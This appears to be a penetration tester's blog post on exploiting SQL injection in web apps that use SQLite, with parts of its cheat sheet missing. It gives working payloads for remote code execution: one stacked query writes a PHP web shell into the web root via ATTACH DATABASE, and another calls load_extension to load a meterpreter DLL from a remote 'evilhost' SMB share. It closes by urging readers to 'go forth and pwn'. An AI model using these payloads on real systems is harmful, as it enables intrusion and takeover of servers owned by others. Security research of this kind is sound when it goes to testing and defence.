Introduction A few months ago I found an SQL injection vulnerability in an enterprisey webapp's help system. Turns out this was stored in a separate database - in SQLite. I had a Google around and could find very little information about exploiting SQLI with SQLite as the backend.. so I went on a hunt, and found some neat tricks. This is almost entirely applicable only to webapps using SQLite - other implementations (in Adobe, Android, Firefox etc) largely don't support the tricks below. Cheat Sheet
For some reason, 4x double quotes turns into a single double quote. Quirky, but it works. Getting Shell Trick 1 - ATTACH DATABASE What it says on the tin - lets you attach another database for your querying pleasure. Attach another known db on the filesystem that contains interesting stuff - e.g. a configuration database. Better yet - if the designated file doesn't exist, it will be created. You can create this file anywhere on the filesystem that you have write access to. PHP example: ?id=bob’; ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’;-- Then of course you can just visit lol.php?cmd=id and enjoy code exec! This requires stacked queries to be a goer. Getting Shell Trick 2 - SELECT load_extension Takes two arguments:
Unfortunately, this component of SQLite is disabled in the libraries by default. SQLite devs saw the exploitability of this and turned it off. However, some custom libraries have it enabled - for example, one of the more popular Windows ODBC drivers. To make this even better, this particular injection works with UNC paths - so you can remotely load a nasty library over SMB (provided the target server can speak SMB to the Internets). Example: ?name=123 UNION SELECT 1,load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');-- This works wonderfully :) Other neat bits If you have direct DB access, you can use PRAGMA commands to find out interesting information:
Conclusion / Closing Remarks SQLite is used in all sorts of crazy places, including Airbus, Adobe, Solaris, browsers, extensively on mobile platforms, etc. There is a lot of potential for further research in these areas (especially mobile) so go forth and pwn! |
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